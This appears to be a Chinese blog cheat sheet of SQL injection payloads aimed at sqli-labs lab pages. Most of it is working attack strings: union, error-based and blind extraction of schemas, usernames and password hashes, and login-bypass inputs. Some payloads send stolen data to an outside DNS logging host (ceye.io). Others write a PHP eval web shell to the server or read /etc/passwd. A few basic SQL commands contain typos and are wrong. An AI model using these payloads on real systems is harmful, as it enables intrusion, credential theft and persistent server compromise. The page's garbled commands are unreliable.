SQL注入常用命令

1. 数据库查询版本

  • Mssql select @@version
  • Mysql select vresion()/select @@version
  • oracle select banner from ¥version
  • Postgresql select version()

2. 数据库常用命令

  • 库操作

    • 连接数据库 mysql -u 用户名 -p
    • 创建数据库:create database 数据库名称、
    • 删除数据库 drop database 数据库名称、
    • 列出数据库 show databases
    • 使用数据据库 use 数据库名称、
    • 查看当前数据库 select database()
  • 表操作

    • 新建表create table 表名(键 varchar(10),键int(10))
    • 列出表 show tables
    • 删除表 delete 表名
  • 数据操作

    • 增加数据insert into 表名(键,键)values(值,值)

    • 删除数据 delete from 表名 where 键=值(删除某一行数据)

    • 修改数据 updata 表名 set 键 = 值 where 键=值

    • 查询数据 select * fom 表名

      存放数据库 information_ schema(存放schemata、 table、columns等等)

      存放数据库名 schemata

      表 table

      字段 columns

3. SQL手工注入步骤

注入点寻找
  • 判断请求方式

    • 浏览器F12 点网络
  • 单引号闭合’ ‘

  • 数字

  • 单引号括号闭合(’ ‘)

  • 双引号括号闭合(“ ”)

  • or 1=1

  • or 1=2

  • and 1=1

  • and 1=2

  • 数字型注入
    • 加单引号 错误出异常
    • and 1=1 正常
    • and 1=2 异常
  • 字符型注入
    • 加单引号 错误出异常
    • and ‘1’ = '1 正常
    • and ‘1’ = '2 异常
判断字段长度
  • order by 数字 可以判断字段的个数

  • 也可以用猜字段 union select 1,2,3

判断字段回显位置

在链接后面添加语句【 union select 1,2,3,4,5,6,7,8,9,10,11#】进行联合查询(联合查询时记得把前面的查询为空)来暴露可查询的字段号。

判断数据库注入

利用内置函数暴数据库信息
version()版本;database()数据库;user()用户;
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version()
and 1=2 union all select database()
and 1=2 union all select user()
操作系统信息:and 1=2 union all select @@global.version_compile_os from mysql.user
数据库权限:
and ord(mid(user(),1,1))=114 返回正常说明为root

查找数据库名
  • GET:IP/Less-1/?id=100’ union select 1,(select database()),3–+

  • POST:union select 1,(select group_concat(schema_name) from information_schema.schemata),3–+

  • 查看数据库长度length() and length(database())>10–+

  • 查看数据库名字mid()或者left

    • mid (string,start,length)返回指定的字符串从指定位置开始(可以用来猜数据库名 ) and mid(database(),1,1)>‘a’

    • left (string,lenth) 返回最左边指定的字符数

      and left(database(),1)>‘a’ (猜名字)

  • 将查到的库名放到同一个字符串

    • select GROUP_CONCAT(schema_name) from information_schema.schemata
  • 查到数单个据库名发送到ceye

    • union select 1,(select load_file(concat(’\\’,substr((select schema_name from information_schema.schemata limit 1),1,41),’.mysql.ip.port.38ljf2.ceye.io\abc’)))–+
查找数据表
  • union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) ,3

  • 将单个表名发送到ceye

    uname=1’) union select 3,(select load_file(concat(’\\’,substr((select table_name from information_schema.tables where table_schema =‘security’ limit 1),1,41),’.mysql.ip.port.38ljf2.ceye.io\abc’)))–+

查找数据表中所有字段(列)
  • 127.0.0.1/Less-3/?id=100’) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’) --+

  • 获取内容

    • union select 1,(select group_concat(username) from security.users limit 0,1),3
  • 查询某一个表的字段名发送到ceye

    • union select 1,(select load_file(concat(’\\’,substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=‘security’ limit 1),1,41),’.mysql.ip.port.38ljf2.ceye.io\abc’)))–+
猜解账号密码
  • outfile文件注入

    • union select 1,’<?php @eval($_POST[360]);?>’ into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-8\3.php’–+

    • into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-13\1.txt’

  • 查root密码ceye代码

    127.0.0.1/Less-1/?id=1’ union SELECT 1,(LOAD_FILE(CONCAT(’\\’,mid((SELECT password FROM mysql.user WHERE user=‘root’ LIMIT 1),2,41),’.mysql.ip.port.38ljf2.ceye.io\abc’))),3–+

  • bug

    uname=1’) or 1=1 into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-13\1.txt’;–+

    这个文件里会有所有的用户名和密码

  • 查询数据

    union select 1,(select 1 from (select count(*),concat((select(select(select distinct concat(username,password) from users limit 0,1))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

绕过登陆验证
  • admin’ –
  • admin’ #
  • admin’/*
  • ’ or 1=1–
  • ’ or 1=1#
  • ’ or 1=1/*
  • ') or ‘1’='1–
  • ') or (‘1’='1–
SQL注入常见函数
  • group_concat函数 可以把查询的内容组合成一个字符串

  • load_file(file name ) 读取文件并将文件按字符串返回

  • left(string,length)返回最左边指定的字符数:
    left(database(),1)>‘s’ (猜名字)

  • length()判断长度
    length(database()>5

  • substr(a,b,c)从字符串a中截取 b到c长度

  • ascii()将某个字符转为ascii值

    ascii(substr(user(),1,1))=101#

  • mid((a,b,c)从字符串a中截取 b到c位置(可以用来猜数据库名 )

4.SQL注入手册

SQL注入常用命令
  • 查看当前用户:union select 1,(select user())–+

  • 查看数据库版本:union select 1,(select version())–+

  • 查看当前数据库名:union select 1,(select database())–+

  • 查看操作系统union select 1,(select @@version_compile_os)–+

  • 所有用户:

    • union select 1,(select group_concat(user) from mysql.user)–

  • 用户hash

    • union select 1,(select group_concat(password) from mysql.user where user=‘root’)
  • 查看所有数据库名

    • union select 1,(SELECT group_concat(schema_name) from information_schema.schemata)–+
  • 查看某一个库的全部表

    • union select 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema=‘库名’)–+
    • union select 1,(SELECT group_concat(table_name) from information_schema.table_constraints where table_schema=‘库名’
  • 查看某个表的字段名

    • union select 1,(SELECT group_concat(column_name) from information_schema.columns where table_name=‘表名’)–+
  • 查看某个库中某个表的字段名

    • union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘表名’ and table_schema=‘库名’)–+
  • 读文件

    • union select 1,(SELECT load_file(’/etc/passwd’))–+
  • 写文件

    • union select 1,’<?php @eval($_POST[360]);?>’ into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-8\3.php’–+
UNION注入
  • 猜字段长度

    • order by 数字 uname=1’ order by 2
  • 暴字段位置

    • union select 1,2 uname=1’ union select 1,2
  • 在指定表中查询制指定用户的密码

    • union SELECT 1,password from 表 where username=‘用户名’–+
报错注入
  • floor (SELECT user()可修改)

    • OR (SELECT 8627 FROM(SELECT COUNT(*),CONCAT(0x70307e,(SELECT user()),0x7e7030,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)–+
  • ExtractValue(有长度限制,最长32位) (select @@version可修改)

  • and extractvalue(1, concat(0x7e, (select @@version),0x7e))–+

  • UpdateXml(有长度限制,最长32位) (SELECT @@version可修改)

  • and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)–+

  • NAME_CONST(适用于低版本,不太好用)

  • and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)–+

  • Error based Double Query Injection

  • or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1–+

  • exp(5.5.5以上) (select user()可修改)

  • and (select exp(~(select * from(select user())x)))–+

  • floor(Mysql): and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

  • Extractvalue(Mysql): and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

  • Updatexml(Mysql): and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

  • EXP: and exp(~(select * from(select user())a));

  • UTL INADDR. get host address(Oracle): and 1=utl inaddrget host address(select bannerO from sys.v_$version where rownum=1))

  • multipoint(Mysql):and multipoint((select * from(select * from(select user())a)b));

  • polygon(Mysql):and polygon((select * from(select * from(select user())a)b));

  • multipolygon(Mysql):and multipolygon((select * from(select * from(select user())a)b));

  • linestring(Mysql):and linestring((select * from(select * from(select user())a)b));

  • multilinestring(Mysql):and multilinestring((select * from(select * from(select user())a)b));

bool盲注
  • 盲注的时候一定注意,MySQL4之后大小写不敏感,可使用binary()函数使大小写敏感。

  • 布尔条件构造
     //正常情况
     'or bool#
     true'and bool#
         
     //不使用空格、注释
     'or(bool)='1
     true'and(bool)='1
         
     //不使用or、and、注释
     '^!(bool)='1
     '=(bool)='
     '||(bool)='1
     true'%26%26(bool)='1
     '=if((bool),1,0)='0
         
     //不使用等号、空格、注释
     'or(bool)<>'0
     'or((bool)in(1))or'0
         
     //其他
     or (case when (bool) then 1 else 0 end)
    
    • 有时候where字句有括号又猜不到SQL语句的时候,可以有下列类似的fuzz
     1' or (bool) or '1'='1
     1%' and (bool) or 1=1 and '1'='1
    
  • 构造逻辑判断
    • 逻辑判断基本就那些函数:
      left(user(),1)>'r'  
      right(user(),1)>'r'  
      substr(user(),1,1)='r'  
      mid(user(),1,1)='r' 
          
      //不使用逗号 
      user() regexp '^[a-z]'
      user() like 'root%'
      POSITION('root' in user())
      mid(user() from 1 for 1)='r'
      mid(user() from 1)='r'
    
  • 利用order by盲注
    mysql> select * from admin where username='' or 1 union select 1,2,'5' order by 3;
    +----+--------------+------------------------
    | id |    username  | password                   
    +----+--------------+------------------------
    |  1 | 2            | 5                         
    |  1 | admin        | 51b7a76d51e70b419f60d34 
    +----+----------- --+------------------------
    2 rows in set (0.00 sec)
        
    mysql> select * from admin where username='' or 1 union select 1,2,'6' order by 3;
    +-----+-----------+--------------------------
    |id   | username  | password                  
    +-----+-----------+--------------------------
    |  1  | admin     |51b7a76d51e70b419f60d3
    |  1  |    2      | 6                          
    +-----+-----------+--------------------------
    2 rows in set (0.01 sec)
    
延时盲注
  • 相对于bool盲注,就是把返回值0和1改为是否执行延时,能用其他方法就不使用延时

  • 一般格式if((bool),sleep(3),0)or (case when (bool) then sleep(3) else 0 end)

  • 两个函数:

  • BENCHMARK(100000,MD5(1))

  • sleep(5)

  • BENCHMARK()用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu资源。推荐使用sleep()

Mysql注释符
1. -- -
2. /* .... */
3. #
4. `
5. ;%00 
GBK绕过注入
  • 在分号前加%df%27
  • 示例:id=1%d%27 union select 1.2–+
  • 4
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值